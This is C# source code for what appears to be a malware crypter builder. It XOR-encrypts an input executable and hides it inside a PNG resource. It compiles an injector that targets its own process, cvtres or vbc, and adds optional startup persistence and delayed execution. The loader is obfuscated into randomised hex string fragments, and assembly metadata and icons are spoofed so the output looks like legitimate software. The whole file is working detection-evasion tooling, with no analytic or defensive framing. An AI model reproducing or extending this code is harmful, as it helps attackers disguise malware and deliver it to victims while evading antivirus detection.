private DreamSettings GetSettings()
{
DreamSettings ds = new DreamSettings();
ds.FileName = inputFileText.Text;
ds.Install = installCheck.Checked;
ds.InstallName = startupNameText.Text;
ds.ProcessName = processNameText.Text;
ds.InjectionTarget = itselfRadio.Checked ? "itself" : cvtresRadio.Checked ? "cvtres" : "vbc";
ds.Delay = delayCheck.Checked;
ds.DelaySeconds = (int)delayNum.Value;
ds.AssemblyDescription = asmDescriptionText.Text;
ds.AssemblyProductName = asmProductNameText.Text;
ds.AssemblyCompany = asmCompanyText.Text;
ds.AssemblyCopyright = asmCopyrightText.Text;
ds.AssemblyVersion = asmVersionText.Text;
ds.IconPath = iconText.Text;
return(ds);
}
public bool Protect(DreamSettings settings, string outputPath)
{
string rName = "";
try
{
log.LogInformation("Reading input file...");
// Read file as bytes
byte[] file = File.ReadAllBytes(settings.FileName);
// Create Encruyption key
byte[] key = new byte[random.Next(16, 32)];
random.NextBytes(key);
// Encrypt file bytes with Xor
byte[] enFile = Xor(file, key);
// Turn encrypted file into a bitmap/image
Bitmap img = ConvertTo(enFile);
// Add new encrypted bitmap to exe resources
string rId;
rName = Guid.NewGuid().ToString("N").Substring(0, 5) + ".resources";
rId = Guid.NewGuid().ToString("N").Substring(0, 5) + ".png";
ResourceWriter rw = new ResourceWriter(rName);
rw.AddResource(rId, img);
log.LogInformation("Generating resources...");
rw.Generate();
rw.Close();
// Read Injector file and edit properties
string dllSource;
#if DEBUG
dllSource = File.ReadAllText(@"..\..\..\Library\D.cs");
#else
dllSource = File.ReadAllText("alpha.dll");
#endif
dllSource = dllSource.Replace("%TARGET%", settings.InjectionTarget);
dllSource = dllSource.Replace("%RESNAME%", rName);
dllSource = dllSource.Replace("%RESID%", rId);
dllSource = dllSource.Replace("%KEY%", Convert.ToBase64String(key));
string defines = "";
if (settings.Install)
{
dllSource = dllSource.Replace("%STARTUPNAME%", settings.InstallName);
dllSource = dllSource.Replace("%PROCESSNAME%", settings.ProcessName);
defines += "INSTALL;";
}
if (settings.Delay)
{
dllSource = dllSource.Replace("%DELAY%", settings.DelaySeconds.ToString("D"));
defines += "DELAY;";
}
string dllPath = string.Format("{0}.dll", Guid.NewGuid().ToString("N").Substring(0, 5));
log.LogInformation("Compiling library...");
if (!Codedom.Compile(dllPath, "cs", new string[] { dllSource }, null, defines, new string[] { "System.Windows.Forms.dll", "System.Drawing.dll" }, null, "library", 20))
{
throw new Exception("Failed to compile library!");
}
byte[] dllData = File.ReadAllBytes(dllPath);
File.Delete(dllPath);
// now create stub/loader
string stubSource;
#if DEBUG
stubSource = File.ReadAllText(@"..\..\..\Loader\Program.cs");
#else
stubSource = File.ReadAllText("beta.dll");
#endif
byte[] key1 = new byte[16];
random.NextBytes(key1);
for (int i = 0; i < dllData.Length; i++)
{
dllData[i] = (byte)(dllData[i] ^ key1[i % key1.Length]);
}
byte[] buff = new byte[key1.Length + dllData.Length];
Buffer.BlockCopy(key1, 0, buff, 0, key1.Length);
Buffer.BlockCopy(dllData, 0, buff, key1.Length, dllData.Length);
//*STRINGS*/
string s = BitConverter.ToString(buff).Replace("-", "").ToLowerInvariant();
List <string> a = new List <string>();
int ine = 0;
while (ine < s.Length)
{
int len = random.Next(10, 30);
if (ine + len > s.Length)
{
len = s.Length - ine;
}
a.Add(s.Substring(ine, len));
ine += len;
}
StringBuilder sb = new StringBuilder();
foreach (string b in a)
{
sb.AppendFormat("strings.Add(\"{0}\");\r\n", b);
}
stubSource = stubSource.Replace("/*STRINGS*/", sb.ToString());
stubSource = stubSource.Replace("%TITLE%", settings.AssemblyDescription);
stubSource = stubSource.Replace("%COMPANY%", settings.AssemblyCompany);
stubSource = stubSource.Replace("%COPYRIGHT%", settings.AssemblyCopyright);
stubSource = stubSource.Replace("%PRODUCTNAME%", settings.AssemblyProductName);
stubSource = stubSource.Replace("%VERSION%", settings.AssemblyVersion);
stubSource = stubSource.Replace("%GUID%", Guid.NewGuid().ToString("D"));
//replace asm
log.LogInformation("Compiling loader...");
if (!Codedom.Compile(outputPath, "cs", new string[] { stubSource }, settings.IconPath, null, new string[] { "System.Windows.Forms.dll", "System.Drawing.dll" }, new string[] { rName }, "winexe", 20))
{
throw new Exception("Failed to compile loader!");
}
log.LogSuccess("Succesfully protected.");
return(true);
}
catch (Exception ex)
{
log.LogError(ex.Message);
if (File.Exists(rName))
{
try
{
File.Delete(rName);
}
catch { }
}
return(false);
}
}
